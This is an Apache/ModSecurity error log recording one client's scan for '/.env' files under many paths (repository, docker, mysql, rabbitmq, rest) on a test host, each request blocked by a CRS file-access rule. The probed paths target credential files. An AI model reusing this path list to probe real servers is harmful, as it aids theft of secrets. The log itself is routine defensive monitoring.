[Wed Feb 25 06:05:27.823247 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repository/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnwAAAAQ&quot;]
[Wed Feb 25 06:05:27.823519 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnwAAAAQ&quot;]
[Wed Feb 25 06:05:27.823700 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXnwAAAAQ&quot;]
[Wed Feb 25 06:05:27.855474 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoAAAAAQ&quot;]
[Wed Feb 25 06:05:27.855720 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoAAAAAQ&quot;]
[Wed Feb 25 06:05:27.855888 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoAAAAAQ&quot;]
[Wed Feb 25 06:05:27.879358 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoQAAAAQ&quot;]
[Wed Feb 25 06:05:27.879619 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoQAAAAQ&quot;]
[Wed Feb 25 06:05:27.879787 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXoQAAAAQ&quot;]
[Wed Feb 25 06:05:27.941628 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/mysql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXogAAAAQ&quot;]
[Wed Feb 25 06:05:27.941916 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXogAAAAQ&quot;]
[Wed Feb 25 06:05:27.942130 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ6DF56MLyC5r86Hx-ZXogAAAAQ&quot;]
[Wed Feb 25 06:05:28.034998 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXowAAAAQ&quot;]
[Wed Feb 25 06:05:28.035296 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXowAAAAQ&quot;]
[Wed Feb 25 06:05:28.035482 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXowAAAAQ&quot;]
[Wed Feb 25 06:05:28.091639 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rabbitmq/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpAAAAAQ&quot;]
[Wed Feb 25 06:05:28.091929 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpAAAAAQ&quot;]
[Wed Feb 25 06:05:28.092119 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpAAAAAQ&quot;]
[Wed Feb 25 06:05:28.197402 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rediscommander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpQAAAAQ&quot;]
[Wed Feb 25 06:05:28.197702 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpQAAAAQ&quot;]
[Wed Feb 25 06:05:28.197901 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpQAAAAQ&quot;]
[Wed Feb 25 06:05:28.227088 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resourcesync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpgAAAAQ&quot;]
[Wed Feb 25 06:05:28.227377 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpgAAAAQ&quot;]
[Wed Feb 25 06:05:28.227567 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXpgAAAAQ&quot;]
[Wed Feb 25 06:05:28.406555 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqAAAAAQ&quot;]
[Wed Feb 25 06:05:28.406808 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqAAAAAQ&quot;]
[Wed Feb 25 06:05:28.407002 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqAAAAAQ&quot;]
[Wed Feb 25 06:05:28.429081 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqQAAAAQ&quot;]
[Wed Feb 25 06:05:28.429421 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqQAAAAQ&quot;]
[Wed Feb 25 06:05:28.429621 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqQAAAAQ&quot;]
[Wed Feb 25 06:05:28.489647 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /results/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqgAAAAQ&quot;]
[Wed Feb 25 06:05:28.489932 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/results/.env&quot;] [unique_id &quot;aZ6DGJ6MLyC5r86Hx-ZXqgAAAAQ&quot;]
